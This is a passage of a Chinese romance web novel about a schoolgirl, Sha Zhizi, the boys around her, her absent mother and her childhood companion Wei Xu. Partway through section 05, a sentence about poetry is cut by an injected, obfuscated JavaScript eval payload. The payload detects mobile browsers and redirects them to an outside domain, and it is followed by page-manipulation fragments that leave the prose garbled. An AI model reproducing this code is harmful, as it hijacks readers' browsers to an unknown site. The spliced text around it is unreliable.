平时很欣赏他的老师也用忧心忡忡的眼神、欲言又止地找权茅谈话。 对此班上的人也有着心知肚明的一致猜测。 ……是他做的吧? 大家都很清楚,在井霁转来之前,整个年级里最有外貌吸引力的男生就是权茅。 按照正常审美来说就是眉骨突出,嘴唇丰润,面部神韵有天然的视觉焦点。跟权茅玩的好的男生开玩笑说:“他真的会自己修眉毛,还很熟练!上次去他家玩,居然从抽屉里翻出几盒没开封的修眉刀。” 被调侃得很气恼的权茅收拾书包,凶着脸踢开桌椅边横过来的脚。 他半点不输嘴仗地驳回去:“我看你想修也没有那么浓密的眉毛,丑人就是话多。” 接着被朋友笑称“是啦你是大帅哥”又十分别扭,身上像爬了蚂蚁一样寒恶。 被通报批评之后,明面上没有任何人说权茅什么,毕竟在此之前他没做过什么出格的事情。 但等到那盆郁金香真的在种植教室被发现积水腐烂,其他同学的态度就暗暗变化了——有点太过分了。 甚至有人来问权茅,他就干脆承认了,很不耐烦地说是我做的怎么样。 暗地里自然出现非议。 ——“至少被老师发现之后就不要这么做了吧?” ——“…男生之间的嫉妒心真可怕。” ——“这种人还是离远一点比较好,讨厌也要收敛一点,居然直接露出这么大的恶意。” . 04 无所谓。 疏远的朋友也好,不相干的同学也好。 黏度很高的黑色感情和想法,在权茅思绪上空盘旋:要真的说嫉妒的话,那到底是因为什么呢? . 05 秋季运动会上转学生摔了一跤。 膝盖绑上纱布,脸上做了简单的消毒处理。但拒绝老师让他退场的建议,坚持要参加两人三足的比赛。 原本权茅写着分配给自己的广播稿,瞄了眼两人三足的接力赛,正好看见转学生抽签到的搭档是沙栀子。一看见沙栀子,权茅就想起来了。 他丢下笔站起来观赛—— 刚开始分班时他和这个女生并不熟…虽然现在也不熟,他却十分感激她。 一次重要月考之前,权茅踌蹰了很久,犹豫了整个自习课的课间,在上课铃响起之前去问了沙栀子。 你能不能给我讲一下这道主观题,答案写的是略。 老师课上说你写的是满分。 虽然不熟,但她还是给他讲得很清楚很仔细,庖丁解牛一样地剖开了知识点。让他产生了非常不好意思的感激……刚想跟着其他人加油,权茅就听见一阵惊呼,橡胶跑道上,最后一棒,两个人摔在一起,男生垫在女生身体下面。头上绑着彩绳的沙栀子反应很快,立马爬起来,但跟她绑在一起的转学生双膝全是血。 沙栀子那天的头绳颜色漂亮,像树栖彩蜘蛛缀着细小的绒毛,在太阳底下碎着小星子。 映在眼里有奇异的刺痛感。 远远看见她紧紧贴过去,伸手穿过转学生肋下,手肘也是痛红色,身型比身边人小一些,将近揽抱着人往前走。先前两千米大概已经把转学生的体力消耗完了,再加上有伤,两个人一次一次落后在别的人身后。又因为是最后一棒,看得人心焦又失望,不少加油的人都已经坐下了。权茅没坐下,等到跑道上沙栀子路过班级仰头,伸出空闲的手朝给她加油的同学打招呼。 那一刻,本以为她眼睛里会有眼泪的。 但是没有,沙栀子招着手。 缀满汗珠的脸发光。 对着担心她的相熟女生和其他人提了一点声音,镇定地喊道:“马上就跑完了。” 然后露出了别人第一次看见的笑容,亮得人嘴里发干,从眼角到下巴都染着草莓肉的荤颜色。招着手,笑声短促,鲜鲜出水,很久之后都湿着人耳廓。 …… 被她带到终点的转学生解开脚上绑带时手指碰到她脚踝。 血沾到白皙的地方,染上淡粉色。 那个混血耳朵上也冲上了血色。 …… 权茅抱着收好的作业本发下去,翻开习题册,看着红笔圈出来的地方皱紧眉。 他一边看着思索,视线没有离开题目,一边站起身绕开人,往前走向沙栀子座位边。 很多人都会来问她 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话题瞬间往外蓬开。 应接不暇。 这是小小苦恼的来源之一。 沙栀子的朋友很多,因为她是发光的女生,类似萤火虫会聚集更多萤火虫的规则。 莫名会发展出不平衡的关系,平心而论,那不是沙栀子有意造成的,但对方会不安、试图巩固这样的亲密。手段之一就是互相询问隐私的想法。 明白这样的“战术”沙栀子想要温柔对待朋友,所以还是诚实回答了。 “我不喜欢。” “我不喜欢这种方式。” 说完之后身边的女生突然噤声了,望着沙栀子右侧,捏着笔,有点傻了。 …… 从这条道借过的人被堵住,探身不耐烦地喊让一下,看见权茅个子高高地杵在座位边,默不作声地盯着一个女生。一动不动,几十秒之后才侧身让人过去。 然后走开了。 虽然看着奇怪,但就快放学了,各自吵吵嚷嚷的,也不顾上看热闹。 只有混血转学生那张脸上带着点棕的眼珠子转过来。 看着这一幕。 作为班级半个透明人的井霁看见那个唇上带痣的男生出神地僵在座位上,下课铃响完,半晌才拽起书包,浑然不觉撞上了课桌,魂不守舍地离开教室。 沙栀子不知道,大部分人都很喜欢她。 偶尔背后讨论到沙栀子,就会有‘好想下课跟她一起回家’、‘好可惜不同路’的话。 所以说果然。 ……被这样的女孩子讨厌还真是令人崩溃啊。但那是正常来讲,对井霁这件事却有点异常的好处。 . 06 讨厌一个人的话,就对这个人说我讨厌你。 讨厌到不想跟这个人说话的程度,就对自己说我讨厌他。不管怎么说,都跟郁金香种子没有关系。 这是沙栀子的讨厌观。 花的种子就像还没凝固起来的豆腐,是很脆弱的。她也很讨厌做出杀死好好埋在土里的花种子的行为。……那本来可以发芽的。 因此小小的迁怒就诞生了。 每次沙栀子在早上走进种植教室,看见被推下来的花盆,都不那么开心,一天接着下一天,重复着做着这样的事:捡出一块干净的陶片,然后翻找到裹着湿润泥土的种子,小心地放在上面。这样花种的主人就可以很快找到它,重新照顾好它。 最后一次捡起来时,沙栀子难得发了脾气。 恰好碰到了来早的井霁。 对着拿着新花盆来的种子主人,有点生气地说:“请你好好负起责任吧。” 说是很生气,也只是皱着眉毛。 眼神灯照在井霁身上。 被“欺凌”的混血转学生讷讷说不出话,只是脸上很红,充血的羞意膨胀到了淡淡恐惧的表情,像怕猫的人突然被咪咪喵喵地指责了。属于自己的花种被恶劣打扰了生长,却漠不关心,只知道一味第二天带来新的花盆。别墅后院有一片花园,请了园丁来定期打理,放着很多陶土花盆,所以他并不在意被摔碎的那些。 换上新的就可以了。 但这样似乎被人讨厌了。 别墅卧室的桌上,有盏水母灯,可以调节好几档的亮度,快睡时可以调到很洁净的柔光。所以那个睫毛……女孩子眼睛上的睫毛……很像绒绒的灯罩。 在跟着沙栀子去找老师前,井霁的脸烧起来,心跳得很快,只是在想自己被讨厌了。突然就被看见了。 被讨厌的时候。 奇异的奇迹是。 她正看着自己呢。 10. 选项:A 01 【世界像张纸,被烧得疼痛。】 【因此蜷缩起来。】 【生来包裹着羊水、仰望着幸福的婴儿也是这样闭眼的姿态。我就是这样期待她看向我的。】 . 02 这几句话是一个法籍华裔作家将近三十岁时才出版第一本作品的书封赠言。 整本书以奇特诡谲的叙事视角讲述着故事,在以时间为序的各个阶段里追忆少年往事、初恋与失恋、重逢的友情,完整描述了一个人人生中所有的情感历程。 那是包括了所有情感联系的复杂集合,也是全身心膜拜于一人的淡淡苦恋。 只要微妙地带入书中的人称视角,就能发现那些友情与爱情的模糊、爱欲探索中浅淡的香气、绵长到雪融化渗入生命的情愫。 这些情感无时无刻不俯视着成长中少年的灵魂,正跟现实一样,给他带来了严酷的神经痛苦,导致更深的道德负罪和病理痛楚。 作为中法混血,这位作家在国内和法国都有长期居住的生活经历,因此深受部分诗人和意识流小说的影响,书中的部分故事来源于他的现实生活。尤其是第四部分里的故事。显然和书中一样,十九岁的作家本人以友情的方式爱慕着已经有了恋人的少女,在友谊的边缘迷茫地徘徊。他们一起从语言系毕业,进入更高的学府,作为朋友度过了漫长的岁月。 写这本书时,他同时也是出名的摄影家,很可能因此才将笔名取为“camera”的音译卡摩拉。 而他的文字也具有非常唯美的镜头感。 除此之外,第二部分里的病理性精神描写,也经常被心理学拿来作为解析的案例。 据说卡摩拉每写完一章,差不多就是深夜要休息的时间了,就匆匆在工作台上吃点药,他被下笔的念头鬼魂一样缠绵住神经,无法停下笔。 边做着药物治疗,边点灯通宵继续写下去。 最困倦忙碌的时候甚至会占用和心理医生谈话的时间,取消当面的疏导,转为电话疏导,以至于一边打着电话,一边伏案写成百万字的长篇。 也许这本书归类在爱情文学里并不合适,也是许多初读到它的人的误解。 从出版作品到封笔卡摩拉都没有在公众面前露过面,负责他作品的编辑代表他公开了拒绝任何改编。 他在作品的公开注解里说: “这是纯粹的私人作品,不需要任何修改以及文字外的展现,发表出来仅仅因为她希望能在纸上正式看见这个故事。” “她已经结婚了。” “她是我至高无上的友谊。” …… 这个她自然就是这本书里的她了。 卡摩拉冰冷地拒绝好奇的人探寻这本书中明显有原型的“她”,部分评论家为了追根溯源,只能从第四部分中真假参半的描述里推测他们的过往。 在那些狂热中带着荒谬、却暗藏幸福与平静的描述中,他们曾经是同学,在街头咖啡厅一起伏案撰稿,写完一篇短篇后交换看,笑着分食点的一份龙虾沙拉。 她的文学成就高于卡摩拉,而那一代的女作家十分低调,奉行着隐隐入市的生活哲学。 他只写过三部作品,而愿意授权出版的只有这一本,因极具明丽清新的文学性被广泛讨论,经过几十年后依然具有可读的意义。 而卡摩拉也如此自我贬低道——【我所描写的所有,都是寄生她灵魂的迷恋物。】 . 03 “三等奖:郑斡、温春、乐晓亦……” “二等奖:……” “一等奖:沙栀子。” . 04 沙栀子的父亲小心地把获奖的征文作品从校报上裁下来,放进家庭复印机里。 转眼间两张附件嗡嗡地印出来,还泛着油墨香和热度,他转身递给翘首以待的沙栀子。 沙栀子捏着两张纸跑到房间里,打开准备了很久的两个礼物盒。 左边是水芹绿的,一张夹进了厚厚的信件里,封上的快递箱上登记着国际邮件的信息,这是给妈妈的礼物。右边是豆沙红的,里面堆了很多书,沙栀子找出一本《追忆似水年华》,随手夹在了其中一页当做书签。这是准备给马上就要回来度过寒假的魏续哥哥的。 沙栀子的父亲把正件压进相框时,她就收拾好了两个礼物盒,小心地扣上密码锁。 沙栀子的父亲踩上凳子,费劲地把钉子敲进雪白的墙面,耳边框框发震传进房间时。 沙栀子就先一步跑到客厅里,愁眉苦脸地委屈发问:“给妈妈的礼物什么时候才能寄出去呀?” 沙栀子的父亲安慰说:“也许过几天就到了。” 在他们镇上国际快递要提前好几天预约,这几天天气寒冷,淅淅沥沥地小下雪。 也许就是因为天不作美,所以上门来揽收的人迟迟没有来。不管沙栀子收到了多少份生日礼物,在别人的生日里送了多少份礼物,但她有一个惯例,那就是一定会在自己的生日里,给她喜欢在意的人送礼物。 送给父亲的礼物是一套新的厨具,用奖金买的,内含零花钱补贴。 没错,沙栀子的生日快到了。 她也就快要毕业了。 想到这,沙栀子的父亲就很唏嘘和欣慰,提着锤子站在椅子上,从墙上一溜的照片往回看,好像孩子刚出生时候的样子还在眼前。当时刚生下来的沙栀子才八斤重,裹在襁褓里,在周围亲戚帮忙做宴庆生的时候睡得一塌糊涂。 睫毛跟着脸颊一呼一吸地仰伏,像袖珍鼓风机,或者功率很小的电吹风。 谁抱到手里都屏住了呼吸,生命的能量暖融融,堆在怀里是跟雪天强烈对比起来的热意。 那时候他在电暖炉边烤橘子,边用脚轻轻推摇篮,十分自豪地跟人介绍:“这是我们家的宝宝,雪天出生的宝宝。” 什么很香很干净啦。 哭起来呜呜的特别让人心疼。 才几岁就会数十以内的数字了。 总之什么都变成了值得钦佩的优点,沙栀子的父亲年年都有新的可以跟亲戚熟人炫耀的话。 …… 咚咚咚。 刚想到这能炫耀的人就敲响门了。 沙栀子的父亲开门迎客,把人引到征文相框前:“来长长见识!你肯定写不出来吧!” 包都没放下来的亲戚就被拉过去罚站阅读。 看完后确实由衷夸了几句。 但在沙栀子父亲言之凿凿说这孩子如果想成为作家就可以成为作家时,还是没忍住心里嘀咕。 “……所以这个孩子才有点自我膨胀吧。”大老远来送礼的亲戚转身放下拎着的一些补品。 大部分都是补脑长身体的,虽然很喜欢沙栀子,但也有点不以为然。与其说是不赞同,不如说是合理地担忧着,也不知道是不是杞人忧天。 只是得一个征文小奖未必真能成为作家,就跟做生意赚了笔钱也可能接着亏掉成本一样。 才能也是需要资本和痛苦来兑现的。 难道沙栀子真要那么辛苦地靠写作赚钱?他听说有些作家一辈子穷困潦倒,朝不保夕,食不饱腹的。 要不叫姐夫多存点钱吧? 话到嘴边的生意人坐在沙发边,看沙栀子跑过来跑过去地招待他,眼睛笑得像太阳花,精神奕奕的。还很开心地说谢谢舅舅过来给她过生日。最后还是心里一软,把不中听的话咽回喉咙里了。 而且讲出来说不准有可能会被听到后的姐夫瞬间拉下脸、不留情面地赶出去吧。 沙磐只好呷了口茶,换了一个话题,对着沙栀子问:“今年你妈妈还是不回来啊?” 边问,边拉外甥女坐下:“她好几年没回来了吧,还是半年半年地给家里寄信和照片?” 他问这话时很有技巧,把礼品袋里一个装香水的小盒子拿出来,放到沙栀子手里让她拆。 手上做着别的事情,脑子不集中想一个问题的话就精神放松了。 说出来的大概率是实话。 这时沙栀子的父亲都从厨房探头出来,来之前他们就打电话说了这事,对着他感激地点了点头。 沙栀子的父亲对妻子常年在外的工作没有抱怨,当时沙磐的姐姐决定从学校辞职时,他就做好了余生支持的准备。只有一点焦心……那就是,当时沙栀子才六岁。但不得不说,沙静槐是个狡猾的、聪明的、贪心的母亲,她选择的是绝非传统意义上的工作,也没有放弃女儿的爱,会定期给女儿寄来各地的矿石,偶尔会写一些言辞简洁的信,附带几张匆忙拍下的照片。 年幼的孩子眼里那些矿洞简直是童话里才会出现地方,实在太了不起了! 当沙栀子的回信里写下稚嫩的疑问:【妈妈在哪里?正在做什么呢?】 回信的回信道:【回答栀子的时候,我已经不在照片的那个地方了哦。】 【我的职业,就请可爱的栀子像解谜一样慢慢地猜吧,等到未来栀子知道了,一定会吓一跳的。】 那样的回答正是年幼好奇心旺盛的沙栀子所期待和感兴趣的,猜测和幻想之间。 对母亲的喜爱就自然地滋生了。 小时候还好,虽然缺少了母亲的陪伴,但因为这份好奇的滋补,一提起母亲沙栀子就会展开天马行空的想象。沙栀子的父亲只是怕长大了一些的沙栀子,受到了什么想法影响,对母亲产生怨恨。 也许他还是并不明白这个孩子的灵魂。 显然她还是很期待、很喜爱母亲。 沙栀子拆开香水,眼睛水亮亮的。很惊喜地对舅舅说这是她最喜欢的木质玫瑰香,边说上个月妈妈寄来了淡紫色的石英晶体,可好看了。还去房间拿了那颗矿石标本,那是一簇完整的晶牙,精致得看起来收藏价值很高,在客厅的木茶几上,显得更加像神秘种族的眼眸。 沙磐笑着摸了摸她头顶,很仔细地看孩子眼底有没有掩盖的伤心和失落。 发现没有后松了一口气。 沙栀子的父亲也端着菜,走出厨房,两人对接了一个安慰的眼神。 吃饭时没来得及收起来的那些矿藏摆在茶几上,碗筷声间,有一颗简单打磨过的玫瑰石英在流光璀璨的矿种静静地躺在匣内。 朦胧而透明的粉红色就像千万朵的吻封在其中,散发着柔和美丽的光泽。 那是最具“母爱”色彩的矿石之一。 . 05 写诗的行顿很重要。 例如聂鲁达和巴克斯特的诗表意连续贯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180301|180923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通,一句话里的场景如同留白的画作,不会太满也不会太空。 就像木材把自己浸在森林中。 …… 诗其实很简单。 诗可以很幼稚,也可以毫无意义。 诗可以仅仅存在而已。可以让人看见觉得嫌恶、矫饰、什么也无法理解。心情比技法更重要,爱也比才能更重要。 魏续记得沙栀子确实是一边看着书,一边随意嘟哝过这些话的。 似乎是一本诗集里介绍作者的序言。 寒假期间回来的魏续只回来住了一个月,他回来时正好离沙栀子的生日只有几天了。原本计划着照旧给她补习,毕竟沙栀子想要去的学校分线有些高,于是在电话里认真向他求助了,听着电话做数据模型的魏续忍着笑,不知道能够跟谁转述炫耀一下这种“拜托了我的无偿家教、好人非常谢谢你”的委托。 “我有给你和妈妈做牛轧糖和黄油饼干。” 就这样被贿赂了。 ……但,欣然接受。 乐在其中的魏续好好备课,甚至线上给沙栀子语音补习前写了讲课思路。 被对待在意的人会越发谨慎的性情驱使,魏续甚至买了一些资深教师的课。 相熟的同学对他在水课上一丝不苟地写了十几页教案的行为目瞪口呆。 …… 这次回来魏续发现沙栀子房间的书更多了。不过回来发生了一点小插曲。 早早跟他们说好了回家的时间。 当天下了火车再转公交,等到了小镇已经天黑了,拉着行李箱的魏续在车站边等人,一方面想绕到站牌后面挡住风雪,不要让雪粒掉进奶油蛋糕的包装袋里;一方面又想牢牢地站在站牌座位的最前面,这样沙栀子一下车就能看见他了。 他纠结之下走到站牌后面,又顺着走到站牌前面,想了想又走到后面去……走成了狐狸转圈。 看起来很滑稽。 自己却浑然没发觉。 结果等了几小时,天黑得伸手不见五指,约好来接人的沙栀子他们也不见踪影。 魏续只好打了一个电话。 然后晴天霹雳且羞愧地发现——自己因为期末忙昏了头,跟他们说错了车票日期。 沙栀子的父亲是知道他父母都有各自要照顾的家庭的,早就搬离了小镇,要他一个人回家实在太凄凉了,忙在电话里说没事。 “反正我现在也还没睡,洗脸水都没放呢,出来接你没问题……说好了的!” 还没等拒绝就挂了电话。 魏续只好把电话踹进兜里,耳朵冻得通红,继续等下去。过了十几分钟,远远看见两个朝他赶过来的人影。一看清楚魏续就不自觉惊讶地张开嘴想说什么。 “天好冷!” 瞬间跑过来的沙栀子一把扑过去,差点把蛋糕撞散架,魏续连忙抬起拎着蛋糕的手。 又下意识矛盾地想抱住人,动作怪异得像间歇性投降。看着这幕的沙栀子父亲紧赶慢赶地跑过来,接过他手里的生日蛋糕,这才从困境中解脱。 两人相视一笑,沙栀子又从怀里退出来。 拉着魏续赶紧走。 她实在是很困,越走越慢,到最后完全像是拖在魏续手臂上。 魏续看她裹着羽绒服,戴着保温的垂着小毛球的针织帽,一会儿清醒地抱他一下,一会儿昏迷迷地点着头,睡眠泡泡都要从脑袋里冒出来了。沙栀子的父亲也是无奈地说:“她被电话吵醒了,一听你提前回来了,非要跟着过来,这孩子,不是我催她穿衣服的话,说不定就要迷迷糊糊裹着棉被出门了……” “哎呀我来背她吧——” 终于看不下去的沙栀子父亲刚准备背她,魏续走到沙栀子面前蹲下去了,这孩子一下子趴了上去。 “真是麻烦你了。” 眼看她手臂刚环上去眼皮就合上了,也不好再接手过来,沙栀子父亲也没办法,魏续摇了摇头示意没事。脸上微微笑着,其实心里一声叹息掠过。 他默默不说话。 果然还是打扰到她睡觉了。 本以为是沙栀子他们临时发生了什么事耽搁了时间,所以晚到了,才打了电话想问问。 如果先看眼车票发现是自己错了就好了,自己可以先回家安顿下来。等到约定好的那一天再去一趟车站,也不会打乱沙栀子期待的心情。 在外地很寂寞的时候沙栀子总是会把她读过的书寄来,他没有那么多的思绪,也还是留出充足的时间看完了。 看喜欢的人的书,大概跟和吃喜欢的人碗里的剩饭的行为差不多。 末班车的铃声响在几条街前,道路上满是行人踩出的泥雪水,天气寒冷,偶尔还有冷风穿街而过。沙栀子的父亲拉着行李箱往前走,魏续慢慢往前走,一边背着熟睡的沙栀子,一边每一步都踏得很稳,这个小镇的街道只有几条,从小就很熟悉了,外地上学的时间里也拆迁改建了一些住宅区,映在旧人眼里有些新奇的碍眼。 但沙栀子的呼吸声在背上潮起潮落。 仿佛脊骨上生出了岸。 虽然经常通电话,但也好久没有看见沙栀子了。 如果允许写一句劣质的诗的话,魏续想,这天他的心情,大约就是等待的人有着归心似箭的心情吧。 11. 选项:A 01 回小镇上的一个月很短暂。 早上有空,魏续就趁着天还没亮扫开门前的雪,捏一个小雪人带给沙栀子。 没有被急促生活裹挟的焦虑和繁复的向上爬的欲望,在小镇上的生活更加平和温柔。 在外读书的时候,魏续平常除了工作,就是给沙栀子打异地电话,每天给她答疑解惑。好在她的物理化学成绩并不差,记忆力也非常好。只是数学压轴题有点一筹莫展,但也在慢慢攻克了,背地里老师称赞说沙栀子是个能够理所当然地坚持下来、不以为苦的孩子。而她想要去的学校是个惊喜的凑巧,就在魏续工作的城市。 未来,未来啊…… 魏续往屋里走,捧着在冷天气下不会融化的雪人,仿佛看到了未来透出美好的轮廓。 他唇上微微挂着笑。 02 晚饭时。 魏续打开老式冰箱,上层放着蔬菜和水果,中间赫然格格不入的一个昂贵蛋糕——这是? 他皱眉,有些询问地看向备菜的沙栀子父亲。 很快察觉这样有些俯视的不礼貌,便移开了视线,拿起原本就准备清洗的蔬果。 因为这几年他长高了很多,身材线条在半工半读的几年里锻炼出来,身上有薄而韧的肌肉覆盖,帮店里搬书清点完还有精力跟着沙栀子的父亲一起做晚饭。 明年沙栀子毕业,恰好志愿学校的城市就在魏续目前工作的城市,他们早早就看好了房子。甚至已经提前清理打扫好,准备喜报发来后就给沙栀子一个惊喜。至于考不上两个人都没有想过。 到了离家之后,沙栀子的父亲就无法在生活上照顾女儿,能够托举的地方也只有金钱和关心的电话了。 所以接过棒耐心照顾沙栀子的就是魏续。 他也欣然接受。 每次回来都会跟着沙栀子父亲学做一些家常菜,尝试做一些煲汤,锻炼家务这方面的熟练度。 余光接收到疑问,看魏续走到水池边,沙栀子父亲停下手里的切菜活,拿毛巾擦了擦手,样子看上去尴尬苦恼,也有种突然被发现什么不好袒露事情的心虚。有点不自然地说:“……那是他们班同学送的礼物太多了,其他的能保存的都保存起来了……不过这个蛋糕太大了,还没吃完呢,也不知道怎么回礼。” 说完之后厨房里的气氛比发丝还细,因为两个人都知道这个回答躲开了蛋糕的来历。 这样充满私心的偏向无可指摘,毕竟他是沙栀子的父亲,只是对沙栀子有好感的同学送的生日蛋糕。难道他要因为魏续杜绝掉其他异性对沙栀子的追求? 显然沙栀子的父亲不会那么想。 但两个男人心照不宣地在厨房结束谈话时,已经在沉默中彼此告知了某些信息。 这种信息是不用语言和声带言明的。 狭小的厨房陷入沉默。 只有刀切砧板的声音和流水声交错。 冰箱里那个蛋糕,鲜艳漂亮的消费主义视觉符号。任谁第一眼看到脑中都会浮现奢华这个词。 瓷盘上有着大量裱花的鲜奶油和各种口味的慕斯,看起来是泼乱蛋糕的繁复油彩画。最让人惊讶的就是巧克力上撒着的金箔粉了。 甚至带着一点手作的粗糙和用心。 魏续站在水池的水龙头下冲洗西红柿和青椒,手里的鲜艳欲滴带点辛辣气息。 ……是家境很好的同学送给沙栀子的吗? 他脸上很平静。也没有发现沙栀子父亲潜意识把自己当做目前可能更替的选择的愤怒,也没有故作苦笑,知道一个很残酷的事情—— 没有什么是不需要维护就可以永恒的。 爱的亲疏远近一瞬间就分明了。 沙栀子的父亲跟他提起、敲定这个口头婚约。沙栀子的父亲也是个会怜悯体恤别人的好人。逢年过节都会给魏续寄礼物,关心他的生活和学业,给他长辈的关怀。 但是作为口头的婚约者的魏续知道,和沙栀子的父亲彼此都心知肚明——当初是沙栀子非常喜欢他,花了很多时间跟他待在一起,才慢慢酿出了一个没有任何现实约束力的“婚约”。这跟爱情的绑定没有太大关系。要用成年人的视角来讲简直是“过家家”。 为了讨当时的沙栀子开心而已。 所以就连远在国外的沙栀子的母亲也没有过多询问,假如魏续比不过其他的适龄人,他和沙栀子的未来就会瞬间破裂。 压力感在于以后能在一起的期待,有时候让人几乎忘记呼吸。 时代发展好快,肉眼所见的一切都在飞速升值,连小镇上的蔬菜也涨价,更加有机健康。 水池的水冲刷过手腕。 魏续把沥干净的食材放到案板上,略微出神地继续洗水果。现在人人都怕贬值,人人都想要自己更值钱。 他更努力,这几年很少休息,已经拿到了GPA顶尖和一些专业的建模大赛奖项,再加上外语堪称流畅,简历也十分完美,已经提前入职了国内行业顶尖的公司。 但……这就足够了吗。 老师在多媒体教室的课间闲暇拿起水杯,相当不屑且随意地谈说,金融这个行业光靠理论哪里活的下来,创业募资更是有钱才能玩。 周围人对这样的话听惯了,露出习以为常的神色。 保持在这个身份,或者下跌,或者上浮。 都给人带来恐惧和焦虑。 煤气灶上的瓦罐汤烧出清甜气味,沙栀子的父亲洗干净手,在台面摆出碗筷,突然下定决心似的转身,对清理厨余的魏续说:“魏续,你知道,你和沙栀子很快都不是年轻的孩子了,很快要去往更大的世界,遇见更多的人。如果……以后她的目光从你身上移开,你不要怨恨她,她还是个会成长的孩子,需要包容……” 魏续蹲在垃圾桶边,手上动作一顿,抬头时眼睛里仿佛跃着强烈的音符。 他说:“我知道。” 沙栀子的父亲愣了愣。 他以同盟的语气笃定:“我不会怨恨沙栀子。我所有的付出都和‘投资’无关,只是因为我想这么做而已。” 他也并不会为此生出怨恨。 就算被“淘汰”的阴影像食腐肉的鹰一样盘旋在头顶。 …… 毕竟沙栀子是多么优秀且天然吸引人的目光啊。真正发现这一点是在他每次快要离开小镇。 回到学校的时候,沙栀子每次都会送他上车。 有次在去往车站的路上,沙栀子一定要帮他推着行李箱,他只好也伸手扶着尽量减轻重量。而那条人并不少的路上,来来往往都是面熟的人,有认识沙栀子的同学看见她,脸上大吃一惊,鞋带都甩开了跑来问她,怎么突然要走没有告诉大家呢?急促的质问下运动鞋都碰上了沙栀子的鞋尖,过于亲密的冒犯呼之欲出。 成群结伴的几个同龄人,有男生也有女生。忽略掉魏续像忽略一条装着宝珠的椟外的彩带。 眼睛一扫而过。 拆掉这个身影就无所谓地放置到一边。 沙栀子也有了崇拜她的人。 是的,她的崇拜者。 先前征文成功的时候,沙栀子写的短篇被收录进一本流行的少年杂志。每天写点东西是她的习惯,投稿偶然在一家小型的独立出版社出版了一本书。 因为喜欢并且支持着她,同时也半生半熟地认识她,就更加崇拜得不得了。 她的文字有流泻的美感,稚嫩且有吸引力。也许那个出版社编辑是这样想的,在进一步审阅后提出了部分修改的意见,然后签订了出版合同。 人的灵魂溢出是可以征服他人的。 车站前阳光透过来照在沙栀子身上,候车的同时她跟朋友说话,魏续作为离别的主角,这个场景的陪衬站在她身边,听她说话间那些自己不熟悉的话题。 看见有个挺拔爽朗的男生视线一直落在沙栀子脸上,顺着他目光视线能窥见一点世俗性。 一直以来魏续从不懂沙栀子漂不漂亮。 魏续不是无法判断,或者需要理解什么审美标准,而是“不懂”,因为真正爱的时候无法投射、无法解析,也无法有任何炫耀配偶的虚荣心。 但在那个男生的眼里魏续看到了。 那种涎羡的兽性目光,带一点仰望和荷尔蒙。 魏续不知道要不要挡住这样的视线,站在这一小簇人群里显得突兀,广播报站声穿过耳膜,或许他挡住才显得冒犯,有些动作因为维护而显得把爱的人当做物品一样保护。而沙栀子是比谁都有自己想法的女生。 她一只手牵着魏续,一只手抱臂偏头朝那男生看过去,那男生接着话头说话时,那种兽性很明显是一种跪伏在河边饮水的本能姿态。 因为沙栀子没有表现出感到冒犯,决定这一切的是沙栀子。那目光也跟淫腥的气味无关。 不会被任何投射损害的沙栀子让人看见的是最本真的自我。那种自我反而修正了所有变质的潜在风险。 那样的沙栀子,正是异于常人地漂亮。 …… 沙栀子父亲问他要不要吃放在冰箱里的金箔蛋糕,魏续轻轻摆了摆手拒绝。 晚饭时沙栀子反而提起来,捧着碗说,“是有个有点讨厌的同学送我的,太甜了我不喜欢……但是是他亲手做的,所以只好吃了一点点。”魏续在她左手边愣了一下,很快敏锐地感知到了旁人对沙栀子的在意,而且从语气中捕捉到了是同龄男生的信息。 侧面印证之前在厨房的预感。 果然。 如果是女孩,沙栀子不会说有点讨厌的。 沙栀子的父亲反而放下筷子笑起来,仿佛见证了珍爱的人过了一个成长节点,反而倒催出有点无奈和喜悦的心情。心想,啊…沙栀子被同龄人喜欢了呢。 沙栀子也不太懂呢,又或者毫不在意。 对于同龄人那坠入爱河的茫茫然、下意识的讨好和靠近。 魏续也附和地笑起来,但笑得很短。金丝边眼镜被低头的动作蒸出点水汽,是碗里米饭的热气。那种很短促的酸痛和不愉快一闪而过。 他站起身,顺势拿碗给沙栀子盛汤,“那就不要吃了,礼物这种东西,送到就是心意交接完成了,没有被使用完也没什么的。总不能让自己不舒服吧,不是吗?” 沙栀子一副理应如此地点了点头。 接过汤碗,喝前特意转头对父亲示意——“果然我的身体比别人的心意重要吧?” 能够刺伤人自尊的昂贵蛋糕,对她来说也只是不想吃的蛋糕而已。 旁边沙栀子的父亲倒是有点为难地咋舌,难道要他吃完那个看起来贵得吓人的蛋糕吗。 明明也不难吃啊。 05 没过几天。 沙栀子就跟魏续在房间里说转学生的坏话。“爸爸不是让我给他回礼吗?”沙栀子趴在被子上,因为要面对面说话,所以魏续侧躺在另一边。 两个人都已经换洗了衣服,干干净净地陷入居家的柔软气味里,魏续看着沙栀子自言自语式地嘟囔。 “但是他不要买的很贵的礼物。一声不吭好久,突然说想要我头上的发卡,就把我的发卡拿走了,说这个就可以。但是爸爸说了要把人情还回去,我犹豫了好久才给他的,对不起,那是去年我们一起出去玩,在景区里买的兰花发卡,摆在摊上的第三排,一眼就看到了……魏续哥哥你还记得吧?”魏续点头,他当然是记得的。 那只发卡格外漂亮。 玉兰的花舌很细,横陈在光线之中,有种清雅的色欲,简单直白的邀人深吻的错觉。 当时他们去海边玩,辐射很强的一个晴天,沙栀子皮肤上涂闪着防晒伤的乳液光泽,边走边跳在街道上,周围全是一些景区的溢价小摊子。 魏续收起折叠伞,偶然看见那个兰花发卡。 移不开眼的两秒钟内沙栀子已经跑回来,发现他盯着那个发卡,直接问摊主:“多少钱呀?” 还没等人开口就付钱买下来了,然后跑到他面前双手捧着送到魏续眼睛底下,笑吟吟地献宝:“喜欢就送给你!”魏续错愕之间,哭笑不得。 “这是女孩子的发卡,沙栀子。” “没关系,你喜欢也可以。” 眼看沙栀子的误解要一 